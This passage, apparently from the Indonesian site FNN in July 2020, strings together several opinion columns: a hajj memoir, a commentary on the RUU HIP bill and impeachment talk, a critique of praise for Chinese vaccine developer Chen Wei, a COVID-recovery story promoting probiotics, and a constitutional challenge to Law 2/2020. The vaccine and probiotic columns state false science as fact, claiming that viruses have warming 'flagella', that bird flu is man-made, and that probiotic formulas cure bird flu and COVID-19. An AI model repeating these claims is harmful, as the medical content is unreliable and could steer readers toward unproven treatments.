Ada sedikit screening terhadap semua petugas. Boss saya di koran Media Indonesia terkejut, karena saya minta izin berangkat Haji. Adapun untuk perjalanan dinas, Media Indonesia sudah menugaskan dua wartawan. Sehingga tidak ada lagi tambahan wartawan. Saya berangkat melalui jalur istimewa. Saya hanya dapat izin belaka, “jawab saya kepada boss. Karena berangkat dadakan, saya tidak mempunyai persiapan yang memadai. Banyak kawan yang heran prosesnya begitu cepat. Isteri dan anak anak saya kaget bukan kepalang. Antara percaya iya atau tidak... Kebetulan saya wartawan yang sehar-hari bertugas di lingkungan Politik, Hukum dan Kemanan (Polkam). Menko Polkam pada masa itu Pak Laksamama Sudomo. Saya sudah kenal beliau sejak Wapangab merangkap Pangkopkamtib. Saya datang ke Pak Domo memberitahu bahwa saya akan berangkat haji dan absen selama dua puluh hari dari kegiatan liputan lingkungan Polkam. Dijawab Pak Domo, koq ndak bilang jauh jauh hari? “Ya sudah, besok jam enam pagi datang ke sini, "perintah Pak Domo. Lepas subuh saya sudah di kantor Menko Polkam di jalan Merdeka Barat. Jam enam Pak Domo sudah tiba di kantor. Sambil jalan ke ruang kerjanya, Pak Domo memberi nasehat “bertugas yang bagus, dan ibadah haji yang sungguh sungguh”. Bertemu Pak Domo lima menit itu membuat badan terasa melayang. Ternyata amplop berisi dolar dari Pak Domo cukup untuk biaya hidup selama dua bulan di Saudi Arabia. Saya hampir melompat karena kegirangan yang luar biasa. Tiba-tiba saya ingat kepada ibunda saya di kampung. Saya memang sudah lama tak pulang ke Bangka. Sementara waktu keberangkatan ke Makkah tinggal tiga hari lagi. Saya putuskan, dari kantor Menko Polkam meluncur ke Ayumas Gunung Agung untuk mendapatkan rupiah dan riyal. Selanjutnya dari Ayumas Gunung Agung, saya go show ke Bandara Cengkareng untuk terbang ke Pangkal Pinang, karena mau berpamitan mohon restu kepada bundaku. Di Pangkal Pinang hanya satu hari. Begitu banyak titipan doa para kerabat yang minta dilafadzkan di depan Baitullah. Bahkan ada yang sudah ditulis di kertas doa yang hendak diucapkan. Maklum perjalanan haji adalah ibadah sakral bagi orang di kampung kami. Pada tahun 1991 itu, bundaku dan seluruh saudaraku belum ada yang pergi berhaji. Pada hari keberangkatan itu, enam jam sebelum jadwal terbang, saya sudah berada di Bandara Soekarno-Hatta. Tak sabar rasanya, ingin cepat sampai di tanah suci Makkah. Kami ikut penerbangan reguler khusus untuk ONH Plus. Sedang rombongan jamaah biasa berangkat via Bandara Halim Perdanakusumah. Di pesawat Boeing 747 Garuda itu, saya bertemu begitu banyak orang terkenal yang akan menunaikan ibadah haji. Ada menteri, dirjen, anggota DPR, artis, pengusaha dan lain-lain.Saya ingat ada Menparpostel Susilo Sudarman, pengusha Bob Hasan, Setiawan Djodi dan rombongannya (Rhoma Irama, WS Rendra KH Zainudin MZ, KH Nur Muhammad Iskandar). Ada artis satu kampung dengan saya Rafika Duri. Tiba di Jeddah, saya bergabung dengan Petugas Haji Tiga Utama, dibawah kordinasi Direktur "D" Badan Intelijen Strategis (BAIS) ABRI Kolonel Hendro Priyono. Kami menginap semalam di Jeddah. Baru setelah itu mengambil miqat untuk umrah pertama dan selanjutnya berhaji tamatu'. (bersambung) Penulis adalah Wartawan Senior.

RUU HIP dan Isu Pemakzulan Jokowi

by Tony Rosyid Jakarta FNN – Jum’at (31/07). Isu Rancangan Undang-Undang Haluan Ideologi Pancasila (RUU HIP) Jadi top scor. Tertinggi ratingnya dan mengalahkan isu-isu yang lain. Kenapa? Karena isu ini menyentuh hal yang sangat sensitif. Dicurigai berkorelasi dengan kebangkitan faham komunis PKI. Sampai disini, umat Islam dan TNI, terutama Angkatan Darat (AD) kompak bersikap. Sebab, kedua kelompok inilah yang paling besar jumlah korbannya saat PKI melakukan pemberontakan tahun 1948 dan 1965 dulu. Meski ada upaya untuk menghapus sejarah, tetapi pembunuhan sejumlah Jenderal Angkatan Darat, pembantaian para ulama dan guru ngaji di berbagai daerah adalah fakta yang memiliki banyak data dan saksi. Agak sulit untuk dibantah. RUU HIP yang diusung oleh fraksi PDIP di DPR telah mendatangkan gelombang protes yang masif. Dimotori oleh MUI, NU dan Muhammadiyah, umat Islam menuntut agar RUU HIP dicabut. Dikeluarkan dari prolegnas. Tetapi, DPR kekeh mempertahankannya dan akan tetap membahasnya. Belakangan, RUU HIP diusulkan pemerintah ke DPR untuk diganti namanya menjadi RUU BPIP. Ganti casing saja. Kenapa pemerintah tidak mengusulkan agar RUU HIP untuk dicabut, tetapi justru malah mempertahankannya dengan ganti nama menjadi RUU BPIP? Pertama, pemerintah berkepentingan untuk memperkuat posisi kelembagaan BPIP. Sebab, lembaga ini bisa dijadikan sebagai alat oleh pemerintah untuk membuat tafsir tunggal terhadap Pancasila. Tafsir tunggal ini nantinya dapat diantaranya memberi kewenangan pemerintah untuk menghakimi siapa yang dianggap tidak pancasilais. Kok curiga? Sejarah telah memberi pengalaman. Juga terutama melihat karakter dan track record rezim saat ini. Kedua, diduga kuat ada kepentingan pragmatis dibalik perubahan RUU HIP menjadi RUU BPIP. Melibatkan pemerintah untuk ikut mempertahankan RUU ini. Apa ada kaitannya dengan tiket dari PDIP yang diberikan kepada Gibran untuk maju ke Pilkada Solo? Namanya juga menduga-duga. Dalam politik, kepentingan pragmatis bisa dilacak melalui banyak indikator. Perubahan RUU HIP jadi RUU BPIP juga diduga menjadi upaya untuk meredam gelombang protes yang selama ini terjadi. Seolah itu jalan tengah. Namun, protes umat nampaknya tidak bakalan melunak. Mereka menganggap, RUU BPIP tak ubahnya RUU HIP. Hanya beda casing. Motif dan faktor penyemangatnya dianggap sama: memberi peluang komunisme untuk hidup kembali di Indonesia. Dalam sejumlah demo terhadap RUU HIP, tuntutan Jokowi mundur atau dimundurkan sudah mulai muncul. Meski belum begitu kuat gaungnya. Dari kalkulasi politik, gelombang protes RUU HIP tidak akan mampu mendongkel Jokowi dari kursi kepresidenan. Meski Habib Rizieq dan sejumlah elemen masyarakat lainnya terus memeriakkan "pemakzulan Jokowi". Sebagai tuntutan, boleh-boleh saja. Tetapi, sebagai "isu primer pemakzulan" sepertinya masih jauh dari mampu memenuhi syarat. Kecuali jika ada faktor lain, sebut saja "faktor x" yang mampu mendorong "tuntutan" ini menjadi arus perubahan atau transformasi politik. "Faktor x" itu misalnya ekonomi. Terjadi resesi ekonomi, dan pemerintah tak mampu lagi untuk recovery. Angka pengangguran makin tinggi dan daya beli rakyat makin terpuruk. Dalam situasi seperti ini, isu pemakzulan akan menggema dan makin kuat. Sebab, akan mendapat dukungan semakin besar dari - dan melibatkan seluruh elemen- rakyat. Atau ada salah reaksi, baik dari DPR, khususnya fraksi PDIP, atau dari pemerintah yang mendorong terjadinya kerusuhan sosial. Istilah politiknya "Blunder Akbar". Bagaimana dengan pembakaran spanduk bergambar HRS? Nampaknya belum memenuhi syarat kematangan. Apalagi "jika" itu bagian dari "test the water" yang melibatkan Intel. Tentu sudah diukur. Jadi, isu HIP hanya akan matang jika ada "faktor x" sebagai trigger primernya. Dan "faktor x" ini cenderung bersifat alamiah. Tidak sepenuhnya bisa direkayasa. Dari sini, potensi perubahan politik punya peluang untuk terjadi. Jika tidak ada "faktor x" , siapapun, terutama pemerintah, tak perlu khawatir. Langkah membatalkan RUU HIP, atau apapun istilahnya, bisa menjadi tindakan preventif yang efektif untuk menghindari situasi politik yang tidak diinginkan. Sebab, apapun yang akan terjadi besok, tak ada yang tahu. Namun, sampai hari ini, DPR dan pemerintah nampaknya masih cukup percaya diri untuk tidak membatalkan RUU HIP. Mereka punya kalkulasi politiknya sendiri dalam menghadapi gelombang protes umat Islam. Soal akurat atau tidak kalkulasi itu, sejarah yang akan menulisnya kelak. Yang pasti, para politisi di Senayan itu sudah terlatih untuk berkelit dalam menghadapi situasi apapun. Sangat lincah ketika belok kiri atau balik kanan. Meski tanpa sign. Namanya juga DPR. Penulis adalah Pengamat Politik dan Pemerhati Bangsa.

Sukses “Drama Chen Wei” versi Dahlan Iskan!

by Mochamad Toha Jakarta FNN - Kamis (30 Juli 2020). Nama Jenderal Chen Wei sangat dikagumi oleh Dahlan Iskan. Dalam tulisannya di Disway, Senin, 27 Juli 2020, Mas Dahlan, begitu saya biasa sapa beliau, menuliskan peran Jenderal Besar Wanita China terkait penemuan Vaksin Corona (Covid-19). Menurutnya, pemenang putaran pertama balapan vaksin ini jelas: CanSino Biologics. Yakni penemu vaksin (corona) yang dari Wuhan itu. Yang dipimpin jenderal wanita Chen Wei itu. Di balapan putaran kedua terjadi saling salip. Boleh dikata imbang. Tapi, di putaran ketiga terjadi pembalikan. Yang finis duluan adalah Sinovac. Yakni vaksin Covid-19 yang dari Beijing itu. Setidaknya Sinovac-lah yang lebih dulu mencapai garis finis di Kota Bandung. “Di ibu kota Jawa Barat itu Sinovac akan dicoba terhadap 1.600 orang sukarelawan yang mendaftar secara gratis,” tulis Mas Dahlan tentang rencana uji coba Vaksin Sinovac yang akan dilakukan di Bandung itu. Walhasil Indonesia telah memilih berpartner dengan Sinovac. Kalau uji coba tahap 3 nanti berhasil Indonesia akan diizinkan memproduksi sendiri vaksin itu. Biofarma, milik BUMN, mampu melakukannya. Mas Dahlan mengibaratkan lomba balapan produsen vaksin Covid yang kini dilakukan oleh 4 perusahaan: Sinovac, CanSono Biologics, Moderna Inc, dan Oxford University. Dan, Sinovac telah memenangkannya: mencapai finish di Bandung. Para pendiri CanSino itu adalah orang-orang China lulusan Kanada. Tokoh utama CanSino, Yu Xuefeng, kini 57 tahun, meraih gelar doktor di bidang mikrobiologi di McGill University Montreal, Kanada. Setelah lulus dari McGill mereka tidak pulang. Mereka bekerja di perusahaan farmasi yang terkemuka di dunia: Sanofi Pasteur. Mereka sangat berprestasi di situ. Banyak yang sampai menduduki posisi level atas. Mereka ingin mewujudkan idealisme di bidang farmasi bagi kemajuan China. Mereka pun berhenti dari Sanofi. Ada 4 orang yang segera memilih pulang. Mereka ini yang mendirikan perusahaan farmasi di kota Tianjin, sebelah timur Beijing. Ketika terjadi wabah Ebola, CanSino aktif mengembangkan vaksin itu. Saat itulah mereka bertemu Jenderal Chen Wei, ahli mikrobiologi yang juga Kepala Pusat Riset Farmasi Militer China. Mereka pun bekerja sama. Sebelum itu pun mereka sudah lama mengenal nama Chen Wei. Nama jenderal wanita ini amat harum. Juga heroik. Terutama saat terjangkit wabah SARS di Tiongkok. Kala itu Chen Wei melakukan riset sangat serius. Dia ingin menemukan vaksin anti-SARS. Dan berhasil. Keberhasilan itu bukan tidak dramatik. Sangat-sangat dramatik. Chen Wei menjadikan anak lelaki satu-satunya sebagai objek uji coba vaksin yang dia temukan itu. Umur si anak masih 4 tahun. “Itu bukan karena Chen Wei tidak sayang anak. Tapi dia begitu yakin akan penemuannya itu. Dia memastikan anaknya tidak akan bermasalah,” tulis Mas Dahlan dalam tulisan berjudul: Drama Chen Wei. Kalau tahun lalu di China beredar film Wolf Warrior II yang sangat laris di bioskop-bioskop, inspirasinya dari perjalanan kepahlawanan Chen Wei itu. Kali ini, untuk vaksin anti-Covid-19 ini, Chen Wei merangkul CanSino. Seperti dilansir Liputan6.com, Senin (23 Mar 2020, 12:02 WIB), sebagai ahli epidemiologi, Chen menempatkan diri di garda depan dengan melakukan penelitian di sebuah labolatorium di Kota Wuhan, Provinsi Hubei, China. Mengutip Ibtimes.sg, Senin (23/3/2020), Chen bahkan menyuntikkan vaksin Virus Corona yang masih dalam tahap uji coba pada diri sendiri dan enam anggota timnya. Saat berita ini tersebar, sebagian orang menganggap tindakan ini ceroboh. Sisanya, memandang keputusan Chen itu sebagai loyalitas tanpa batas. Kendati, unggahan yang dimaksud disebut telah dihapus dari akun Weibo People's Liberation Army (PLA), spekulasi disertai komentar pro-kontra akan tindakan tersebut terus bergulir. South China Morning Post menulis, jenderal besar berusia 54 tahun tersebut dikenal sebagai ahli biokimia terbaik di Tiongkok. Chen Wei sendiri sudah tiba di Wuhan sejak pertengahan Januari bersama tim yang merupakan para peneliti militer terbaik Negeri Tirai Bambu. Chen sudah dikenal lewat kontribusinya dalam memimpin tim peneliti menemukan vaksin demi mengendalikan wabah SARS dan Ebola di Afrika Barat pada 2014-2016. Juga, telah membantu penanganan gempa bumi di Sichuan pada 2008. Dibandingkan kepala ahli epidemiologi seperti Zhong Nanshan yang berusia 84 tahun dan Li Lanjuan berusia 72, Chen jauh lebih muda. Ia mampu menjembatani tenaga medis militer dan tenaga medis lokal di Wuhan dalam penanganan pasien Corona Covid-19. Pada 2013, Chen jadi delegasi mewakili PLA dalam National People’s Congress. Dua tahun kemudian, Chen dipromosikan jadi jenderal besar. Kemudian di 2018, Chen didapuk sebagai anggota Chinese People’s Political Consultative Conference. Sukses Vaksin? Kesan yang muncul dari tulisan soal Chen Wei, Mas Dahlan ingin mengunggulkan para ahli China, terutama Chen Wei, dan perusahaan yang memproduksi vaksin. Padahal, dalam kasus flu burung (H5N1) saja hingga kini belum berhasil hentikan. Kasus flu burung di China telah memakan korban cukup banyak, hal tersebut terjadi karena China menolak produk probiotik dan lebih bangga dengan produk herbal mereka, sehingga penanggulangan flu burung menjadi kurang efektif. Bahkan beberapa waktu terakhir ini, sering kita dengar adanya berbagai varian flu burung diantaranya H1N1, H5N1, H7N9 (di China), New Corona, yang konon dianggap lebih mematikan dibanding varian terdahulu. Yang membedakan tiap varian virus flu burung sebenarnya adalah jumlah bulu getar pada virus tersebut. Bulu getar/flagel itu sebenarnya adalah semacam alat penghangat pada virus itu yang berfungsi untuk mempertahankan hidup mereka sendiri. Maka apabila telah dijumpai terdapat jumlah bulu getar yang berbeda, oleh para ahli virologi dikatakan sebagai mutasi genetik dari virus flu burung. Tamiflu jelas tidak akan efektif untuk tiap kasus flu burung. Setiap jenis obat hanya akan efektif pada daerahnya sendiri, dan obat itu pun “belum mampu mematikan” virus flu burung ini. Pengobatan yang paling efektif untuk flu burung ya dengan probiotik atau bioto karena jumlah laktat yang tinggi. Formula ini sudah banyak membuktikan efektifitas probiotik/bioto terhadap kasus flu burung, sehingga bagi yang sudah tahu, sekarang flu burung bukanlah penyakit yang menakutkan dan mematikan. Virus H5N1, atau dikenal sebagai virus flu burung, menyebabkan gangguan pernafasan pada burung atau unggas dan dapat menular ke manusia. Virus ini pertama dideteksi pada 1996 di China. Menurut WHO, virus flu burung mungkin saja menular dari manusia ke manusia, meski sulit. Sejak 2003 hingga 2019, WHO melaporkan total 861 kasus penularan virus flu burung pada manusia di dunia, 455 di antaranya meninggal. Di China, ada 53 kasus penularan ke manusia telah dilaporkan sepanjang 16 tahun terakhir, 31 diantaranya meninggal dunia. Melalui riset yang dilakukan, dapat disimpulkan bahwa penyakit flu burung adalah “murni buatan pihak tertentu” yang tidak menginginkan adanya keseimbangan dunia ini. Sifat virus flu burung, di tiap negara, bahkan tiap daerah bisa berbeda. Tiap jenis obat hanya akan efektif pada daerahnya sendiri, dan obat itu pun ternyata “belum mampu mematikan” virus flu burung tersebut. Terbukti, saat di China belum selesai merebak Covid-19 di Wuhan, dikabarkan telah melaporkan adanya wabah H5N1. Seperti dilansir Kompas.com, Minggu (02/02/2020, 09:11 WIB), temuan tersebut berlokasi di Provinsi Hunan, perbatasan selatan Hubei, yang merupakan provinsi pusat penyebaran virus Corona. Kementerian Pertanian dan Urusan Pedesaan China pada hari Sabtu sebagaimana dikutip dari South China Morning Post, Minggu (2/2/2020) menyebutkan bahwa wabah terjadi di sebuah peternakan di distrik Shuangqing di Kota Shaoyang. “Peternakan memiliki 7.850 ayam, dan 4.500 ayam telah mati karena penularan. Pemerintah setempat telah memusnahkan 17.828 unggas setelah wabah,” begitu pernyataan Kementeri Pertanian dan Urusan Pedesaan Cina seperti dilansir dari SCMP. Meski demikian, sampai sejauh ini tak ada kasus virus H5N1 Hunan yang dilaporkan terjadi pada manusia. Jarak antara Shaoyang di Hunan dengan Wuhan di Hubei sekitar 556 km. Ternyata, “Drama Chen Wei” versi Dahlan Iskan berlanjut saat awal Corona mewabah di China. Belum Sukses! *** Penulis adalah wartawan senior.

Jahatnya Covid-19 Mampu Dilunturkan Formula Probotik Berbasis Bakteri!

by Mochamad Toha Jakarta FNN - Rabu (29 Juli 2020). Sepasang suami-istri telah pulih kembali setelah 16 hari dirawat di sebuah RS di Surabaya, karena terpapar Virus Corona (Covid-19). Menariknya, diantara beragam obat yang diminum, ada formula Probiotik yang disuplai oleh teman-temannya. Berikut cerita sang istri: Alhamdulillah, saya dan suami sudah sehat dan bugar, tetapi tetap masih Isolasi Mandiri di rumah 14 hari lagi biar benar-benar bersih dari Virus Covid-nya, gak terasa saya dan suami diisolasi di Ruang Bertekanan Negatif di sebuah RS di Surabaya, sudah 16 hari. Benar-benar umur kami berdua bisa kembali sehat. Karena ini sakitnya luar biasa ampun dan sempat droup 2 kali karena oksigen dalam darah dan tubuh saya droup ngliyung, belum lagi yang sakit sangat di uluhati sampai tembus ke punggung. Di situ kami ingatnya cuma mati saja di RS. Kami 1 kamar itu berdua dan saling menguatkan setiap pagi selalu tanya apa yang gak enak pagi ini jeng atau papa Yaa Allah. Virus Covid benar-benar jahat, amat sangat menyakitkan. Karena, saya dan suami juga ada sakit diabet dan tensi selama 8 hari, 1 hari 3 kali disuntik berbagai macam obat Antibiotik dan berbagai macam Vitamin yang jumlahnya 10 ampul suntikan besar. Sampai tangan saya dan suami bengkak gedhe-nya seperti pisang. Pada hari ke-6 indra perasa dan penciuman hilang gak ada sama sekali itu selama 8 hari. Menurut suaminya, “cukup banyak probiotik dikasih teman-teman diminum bergantian.” Setelah selesai dengan suntikan diganti obat oral yang jumlahnya 10 sampai 12 sekali minum. Belum saat lagi tengah malam diambil darahnya di Vena yang paling besar yang letaknya di selangkangan. Masyaa’ Allah sakitnya Na'udhubillah itu gak 1 kali dan harus foto torak jam 12 malam, Yaa Allah bisanya saya dan suami hanya dzikir dan dzikir minta ampunan-Nya sambil menangis, karena susah sekali untuk tidur baru jam 3 atau 3.30 pagi baru bisa tidur. Semoga saya dan suami saja yang ditunjuk oleh Allah SWT untuk sakit seperti ini. Semoga panjenengan semua sehat dan tetep Sefti dan manut dengan Protokol Kesehatan apa yang dibilang dan diingatkan Dokter Ninuk (Satgas Covid di Kelurahan Pepelegi). Mohon dituruti karena benar-benar sangat gak enak kalau sakit seperti yang saya dan suami alami. Selalu menghibur diri kalau sudah kesakitan droup bahwa Allah SWT sangat sayang pada kami itu yang kami lakukan berdua. Selama sakit kami saling menguatkan satu sama lain, dan setelah ini semoga saya dan suami sehat terus dan bisa lihat cucu kami tumbuh cerdas dan sehat walau jauh dari eyang mama papanya. Begitu cerita pasangan suami-istri itu yang disampaikan di akun FB isterinya. “Siapa bilang Covid-19 itu “Rekayasa” para Petugas Medis itu, Keterlaluan!” tegasnya. Mereka itu benar-benar mengalami “serangan” Covid-19. Serangan Covid-19 sebelumnya menimpa Kompleks Sekolah Calon Perwira TNI AD (Secapa AD) di Jl. Hegarmanah, Kota Bandung, Selasa (7/7/2020). Namun, berkat langkah strategis KSAD Jenderal TNI Andika Perkasa, sekitar 62,6 persen diantaranya pulih total. Menurut Jenderal Andika, sebanyak 819 atau 62,6 persen dari 1.308 siswa dari Secapa AD telah pulih total dari penyakit Covid-19. Sisanya, 489 siswa masih didiagnosis dengan Covid-19 di mana hanya 10 orang yang tetap dirawat di Rumah Sakit Tentara Dustira di Bandung, kata Jenderan Andika dalam sebuah pernyataan, Sabtu (25/7/2020). Mengutip Antara, sebanyak 479 siswa lainnya menjalani karantina di kompleks Secapa. Jenderal Andika menambahkan, penanganan oleh Gugus Tugas Covid-19 Secapa menunjukkan tren positif karena meningkatnya jumlah orang yang pulih. KSAD menegaskan bahwa tentara telah bekerja sama dengan Universitas Airlangga dalam hal pengobatan Covid-19. Pada 16 Juli 2020, laboratorium PCR di Rumah Sakit Tentara Sariningsih di Bandung mulai beroperasi untuk mempercepat proses pemeriksaan spesimen swab test. Ini adalah bagian dari 68 fasilitas laboratorium PCR yang tersedia di 68 rumah sakit tentara di seluruh Indonesia. Dalam mendukung upaya pemerintah yang berkelanjutan untuk memerangi pandemi Covid-19, TNI AD juga telah berupaya menyediakan stok peralatan medis dan mendorong uji klinis kombinasi obat Covid-19 di rumah sakit militer, katanya. Melansir dari CNNIndonesia.com, Sabtu (11/07/2020 19:24 WIB), KSAD menjelaskan ihwal kasus penularan Covid-19 yang terjadi di lingkungan Kompleks Secapa AD di Kota Bandung, Jawa Barat. Jenderal Andika mengatakan, mulanya ada dua prajurit siswa yang berobat di Rumah Sakit Dustira Kota Cimahi. Kedua prajurit tersebut mengaku mengalami gejala sakit bisul disertai demam. Sedangkan, satu prajurit lainnya masalah tulang belakang. “Tepatnya dua minggu lalu, saya mendapat laporan dari Komandan Secapa AD. Diawali ketidaksengajaan dua siswa berobat ke RS Dustira,” ujarnya di Markas Komando Daerah Militer (Makodam) III/Siliwangi, Sabtu (11/7/2020). Keduanya kemudian menjalani pemeriksaan tim medis di RS Dustira dengan metode swab sebagai prosedur otoritas layananan kesehatan. Ternyata, hasil kedua siswa itu positif terjangkit corona. Tim medis kemudian melapor kepada Markas Besar TNI AD di Jakarta. Pimpinan di Jakarta kemudian mengirim 1.400 alat rapid test. Menurut Andika, jumlah alat rapid test sebanyak itu untuk memeriksa 1.198 prajurit siswa dan 200-an pelatih serta staf. “Awalnya ada 187 orang yang hasil rapid test-nya reaktif sehingga dicurigai terinfeksi Covid-19. Dari situ saya kirim VTM (alat tes PCR) ke Kakesdam kemudian dilakukan swab dari situ kemudian jumlahnya bertambah terus hingga 1.280 orang,” ujar Jenderal Andika. Ia merinci sebanyak 991 prajurit siswa terjangkit virus corona, sedangkan sisanya 289 orang merupakan staf anggota Secapa dan keluarganya. Sebagian besar dari mereka yang positif itu melakukan karantina mandiri, dan hanya 17 orang yang dirawat di RS. “Dari 17, satu negatif dan 16 masih positif tapi semua tidak merasakan gejala apapun juga. Satu negatif masih di sana karena masalah TBC paru-paru,” tutur Andika. Andika kemudian mengunjungi Secapa TNI AD. Saat kunjungan itu, menurut sumber, Jenderal Andika menyerahkan bantuan berupa formula probiotik yang selama ini berhasil menyembuhkan pasien positif Covid-19 di berbagai daerah. Inikah “rahasia” sukses penanganan Covid-19 di Secapa AD? Gagal Nafas Menurut seorang pakar mikro bakteri, yang sering membuat pasien terpapar Covid-19 itu karena adanya Badai Sitokin di dalam tenggorokan dan paru-paru pasien. Badai Sitokin adalah reaksi imun di tubuh yang berlebihan. Sitokin sendiri itu merupakan zat yang dikeluarkan virus itu sendiri untuk mempertahankan hidup. Agar lingkungan sekitarnya menjadi nyaman buat dia sendiri. Tapi toxic untuk inang. Karena toksik di tubuh terutama paru-paru. Sehingga, paru-parunya terganggu fungsinya. Bisa sampai gagal nafas. Biasanya bakteri/virus itu membuat lendir/cairn pertahanan hidup. Sitokin itu bisa jadi juga berupa lendir kental yang mengganggu pernafasan. Dari sitokin berupa lendir yang numpuk itu yang menjadikan susah bernafas, karena kadar oksigen menurun, sehingga gagal nafas yang bisa menyebabkan pasien Covid-19 meninggal dunia. Lendir itu terbentuk dari 2 sisi. Pertama, Covid-19 ketika meriplikasi dirinya beratus-ratus kali lipat, mereka membutuhkan media untuk hidup. Media untuk hidup itu ya berupa cairan yang berisi protein-protein yang mereka hasilkan tersebut. Nah, cairan tempat hidup mereka itu, ternyata bersifat toksik bagi tuan rumahnya (manusia). Kedua, Reaksi antibodi terhadap cairan yang membahayakan tersebut, antara lain berupa memproduksi cairan untuk menghambat protein yang toksik itu. Perpaduan antara cairan protein yang toksik dengan cairan reaksi antibodi, akhirnya berupa cairan yang kental, dan volumenya banyak. Cara kerja bakteri siklus, ada 2 sisi pendekatan, yakni: Pertama, bakteri-bakteri komunitas mengkoloni Covid-19, sehingga mereka tidak regeneratif lagi, karena tidak memproduksi cairan-cairan lagi. Kedua, Senyawa-senyawa enzim yang dihasilkan oleh bakteri-bakteri komunitas ini mampu merusak protein-protein yang dihasilkan oleh Covid-19, sehingga mereka tidak mampu lagi melakukan proses regenerasi selnya. Itulah “rahasia” yang menjadikan pasien Covid-19 berhasil disembuhkan dengan formula probiotik berbasis bakteri. *** Penulis adalah wartawan senior.

Malawan Upaya Mutilasi DPR Melalui UU Korona No. 2/2020

by Dr. Marwan Batubara Jakarta FNN – Selasa (28/07). Undang-undang Nomor 2/2020 tentang Penetapan Perppu No.1/2020 tentang Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan. UU Nomor 2/2020 diyakini melanggar konstitusi karena bertentangan dengan konstitusi. Salah satu pelanggaran paling fatal, dilumpuhkannya hak budget DPR dalam Pasal 23 UUD 1945. Beberapa akibat negative bermunculan. Pertama, APBN sebagai wujud pengelolaan keuangan negara, yang ditetapkan setiap tahun dengan undang-undang. APBN harus dilaksanakan secara terbuka, transparan dan bertanggung jawab. APBN digunakan untuk sebesar-besarnya kemakmuran rakyat. Kedua, berdasarkan panduan dari konstitusi, Rancangan Undang-Undang (RUU) APBN diajukan setiap tahun oleh Presiden. RUU APBN dibahas bersama-sama dengan DPR, dengan tetap memperhatikan pertimbangan dari Dewan Perwakilan Daerah (DPD). Ketiga , apabila DPR tidak menyetujui, maka Rancangan APBN (RAPBN) yang diusulkan oleh Presiden, maka Pemerintah dapat menjalankan pembiayaan belanja negara dengan berpedoman pada APBN tahun sebelumnya. Begitulah panduan yang diberikan oleh konstitusi UUD 1945. Tidak boleh membuat kebijakan yang bertentangan dengan panduan yang telah diberikan oleh konstitusi. Tulisan ini membahas ketentuan di dalam UU No.2/2020 yang melanggar konstitusi. Dibahas juga motif yang diyakini ada di balik pelanggaran terhadap konstitusi UUD 1945, terutama pada Pasal 2 ayat 1 dan Pasal 12 ayat 2 undang-undang corona Nomor 2/2020. Pertama, pada Pasal 2 ayat (1) UU Nomor 2/2020 disebutkan, pemerintah berwenang menetapkan batasan deficit . Pertama, melampaui batasan 3% dari PDB selama masa penanganan COVID-19 dan/atau untuk menghadapi ancaman membahayakan perekonomian nasional dan stabilitas sistem keuangan paling lama sampai 2022. Kedua, sejak 2023 besaran defisit akan kembali menjadi paling tinggi sebesar 3% dari PDB. Ketiga, penyesuaian besaran defisit dilakukan bertahap. Pasal 2 UU Nomor 2/2020 bertentangan dengan Pasal 23 ayat (2) dan ayat (3) UUD 1945. Karena meskipun defisit APBN perlu dinaikkan melebihi 3% dari PDB, namun DPR sama sekali tidak dilibatkan menentukan batas besaran defisit tersebut. Padahal, persetujuan DPR atas APBN sebagai pemegang hak konstitusional budgeting merupakan cermin kedaulatan rakyat. Jika hak budegt dimutilasi, maka kedaulatan rakyat untuk menentukan APBN pun hilang. Hilangnya hak DPR untuk menentukan defisit, maka nilai maksimum defisit menjadi terbuka tanpa batas. Nilai belanja APBN yang hanya terpusat di tangan pemerintah pun akan ditetapkan nyaris tanpa kontrol. Sehingga, APBN dapat dialokasikan pada program-program pro pengusaha, pro oligarki, tidak prioritas, dan berpotensi moral hazard. Atas nama korona, stabilitas ekonomi dan keuangan, APBN yang sebagian besar ditutup dengan menambah beban utang rakyat, berpotensi diselewengkan dan dikorupsi. Selanjutnya, pada Pasal 12 ayat 2 UU Nomor 2/2020 dinyatakan, perubahan postur dan/atau rincian APBN dalam rangka pelaksanaan kebijakan keuangan negara hanya diatur dengan atau berdasarkan Peraturan Presiden (Perpres). Ini mempertegas niat buruk pemerintah menetapkan APBN secara tunggal, sekaligus menjadi alat menyingkirkan DPR ikut membahas APBN. Pemerintah telah bertindak inskonstitusional dan menghalalkan segala cara. Padahal pada Pasal 23 UUD 1945 disebutkan, kedudukan dan status APBN adalah UU yang ditetapkan setiap tahun. RAPBN harus diajukan Presiden untuk dibahas dan disetujui DPR. Dengan pembahasan, maka terjadi proses check and balances, dan APBN dapat pula dialokasikan sesuai prioritas. Ironisnya, DPR malah menyambut baik UU Korona yang telah melucuti haknya sendiri. Terlepas dari partisipasi DPR dan DPD dalam menetapkan budget, mungkin dapat mengurangi kecepatan mengambil keputusan. Konstitusi telah menjamin bahwa kedua lembaga itu memiliki hak untuk ikut membahas dan menetapkan APBN atau APBN-P setiap tahun. Kondisi memaksa yang dipakai melegalkan eliminasi hak DPR seperti diatur Pasal 2 dan Pasal 12 UU Nomor 2/2020 merupakan perbuatan illegal yang sarat dengan moral hazad. Menurut logika, tidak mungkin konstitusi dibuat sedemikian rupa, sehingga ketentuan di dalamnya conflicting satu sama lain. Bisa saling meniadakan hanya karena adanya satu sebab, seperti kegentingan yang memaksa pada Pasal 22 UUD 1945. Karena itu banyak kalangan telah menggugat UU Nomor 2/2020 ke Mahkamah Konstitusi, termasuk Komite Masyarakat Penegak Kedaulatan (KMPK). Faktanya, dengan telah ditetapkannya Perppu Nomor 1/2020 menjadi UU Nomor 2/2020 pada 16 Mei 2020, maka pemerintah telah menerbitkan Perpres tentang Perubahan UU APBN 2020, yang selama ini dikenal sebagai undang-undang APBN-P sebanyak dua kali, yaitu Perpres Nomor 54/2020 pada tanggal 3 April 2020 dan Perpres Nomor 72/2020 pada 24 Juni 2020. Kedua Perpres diterbitkan sewenang-wenang oleh pemerintah dalam kurun waktu tidak sampai tiga bulan. Tanpa keterlibatan DPR. Dari kedua Perpres diperoleh biaya penanganan pendemi korona naik dari semula Rp. 405 triliun menjadi Rp. 695 triliun. Dana dukuangan bidang usaha Rp. 430 triliun lebih besar dibanding kesehatan dan jaring pengaman sosial yang hanya Rp. 291 triliun. Sedangkan defisit APBN, naik dari semula Rp 852 triliun (3,07%) jadi Rp 1.039 triliun (6,34%). Karena pandemi, maka penerimaan negara turun cukup besar dan belanja naik signifikan, sehingga defisit ditutup dengan utang Rp. 1.220 triliun. Dalam kondisi keuangan negara yang demikian memprihatinkan, yang mestinya dibahas seluruh lembaga terkait, keputusan justru diambil hanya oleh segelintir pejabat di pemerintah. Patut 